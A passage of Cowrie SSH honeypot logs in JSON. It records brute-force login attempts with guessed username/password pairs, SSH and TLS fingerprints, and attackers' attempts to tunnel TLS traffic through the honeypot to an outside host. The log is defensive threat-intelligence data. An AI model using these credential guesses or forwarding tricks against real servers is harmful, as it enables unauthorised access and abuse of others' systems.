\\x12\\xb3\\x9e\\x9bG\\x07\\xae\\xf3\\xfd\\x06\\xb7\\x88f\\x8f-b\\x18\\xb9\\xff\\xba\\x8c\\xae\\x0e\\x05\\x90\\n\\xca7T\\xe6\\x84p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x04`\\xa5\\xf8\\x06#\\x8b&\\x93\" \\xa9\\xe6\\xe7\\xd6m\\xf0\\xe6\\xc6~\\x19>P7\\xf7\\xf5\\xa4\\xb1\\x9e7v \\\\\\x89\\xe4<\\x8a\\xa7\\xbf~\\xc7\\x01=$T\\xb6\\xb9\\xcf\\xeb\\xe7.\\xca\\x96\\xddOx\\xf7v\\xe4\\x16%v\\xe3b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\xb3\\x9e\\x9bG\\x07\\xae\\xf3\\xfd\\x06\\xb7\\x88f\\x8f-b\\x18\\xb9\\xff\\xba\\x8c\\xae\\x0e\\x05\\x90\\n\\xca7T\\xe6\\x84p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:38.970682Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:39.207631Z","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:39.386025Z","src_ip":"45.153.34.195","session":"5861c09e5121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:39.438361Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xe3\\x91\\x84\\xf0j\\xf8\\t~f^\\xb3\\x0c2e<\\x8e\\x8fv\\x98i=5v\\x86G\\x9f \\xeb\\xc8\\xce\\xc6 \\xa4\\xb1S\\x96\\xc4l4\\x87\\x89\\xabZ\\xca\\x05\\xce\\xcf\\xa8\\x84\\xc4\\xbav\\xdcj}\\xdb\\xa8M\\xaf\\x93\\x92\\xaa\\xb2\\xa1\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\x1aS\\xf10\\xd1j\\xcan\\x815\\xc51\\x8f\\x88\\r\\xaa}\\xce\\x92\\x847\\xdc\\xec\\x18\\xa4d.\\x8c\\xa9\\x1f*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xe3\\x91\\x84\\xf0j\\xf8\\t~f^\\xb3\\x0c2e<\\x8e\\x8fv\\x98i=5v\\x86G\\x9f \\xeb\\xc8\\xce\\xc6 \\xa4\\xb1S\\x96\\xc4l4\\x87\\x89\\xabZ\\xca\\x05\\xce\\xcf\\xa8\\x84\\xc4\\xbav\\xdcj}\\xdb\\xa8M\\xaf\\x93\\x92\\xaa\\xb2\\xa1\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\x1aS\\xf10\\xd1j\\xcan\\x815\\xc51\\x8f\\x88\\r\\xaa}\\xce\\x92\\x847\\xdc\\xec\\x18\\xa4d.\\x8c\\xa9\\x1f*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:39.441530Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:39.937233Z","src_ip":"123.27.168.40","session":"c7d13dc3e88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18878,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d18b5581f4","protocol":"ssh","message":"New connection: 45.153.34.195:18878 (10.17.0.5:22) [session: 30d18b5581f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:40.760600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:40.879130Z","src_ip":"45.153.34.195","session":"30d18b5581f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:40.883081Z","src_ip":"45.153.34.195","session":"30d18b5581f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:41.089516Z","src_ip":"91.92.40.36","session":"a1deaf3302ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elina","password":"elina","message":"login attempt [elina/elina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:41.453353Z","src_ip":"45.153.34.195","session":"30d18b5581f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:42.538143Z","src_ip":"45.153.34.195","session":"30d18b5581f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@123","message":"login attempt [azureuser/azureuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:42.603105Z","src_ip":"91.92.40.36","session":"5a9e3477d391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62884,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8dd59dde859","protocol":"ssh","message":"New connection: 45.153.34.195:62884 (10.17.0.5:22) [session: c8dd59dde859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:43.648411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:43.825165Z","src_ip":"45.153.34.195","session":"c8dd59dde859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:43.830921Z","src_ip":"45.153.34.195","session":"c8dd59dde859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:44.233131Z","src_ip":"45.153.34.195","session":"c8dd59dde859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:44.734812Z","src_ip":"91.92.40.36","session":"5a9e3477d391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13960,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e8e7d148ab1","protocol":"ssh","message":"New connection: 91.92.40.36:13960 (10.17.0.5:22) [session: 4e8e7d148ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:45.229019Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:45.459567Z","src_ip":"45.153.34.195","session":"c8dd59dde859","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:46.342132Z","src_ip":"91.92.40.36","session":"4e8e7d148ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:46.345067Z","src_ip":"91.92.40.36","session":"4e8e7d148ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62888,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e0022b4188","protocol":"ssh","message":"New connection: 45.153.34.195:62888 (10.17.0.5:22) [session: 71e0022b4188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:46.607514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:46.615707Z","src_ip":"45.153.34.195","session":"71e0022b4188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:46.706398Z","src_ip":"45.153.34.195","session":"71e0022b4188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:47.269002Z","src_ip":"45.153.34.195","session":"71e0022b4188","protocol":"ssh"}
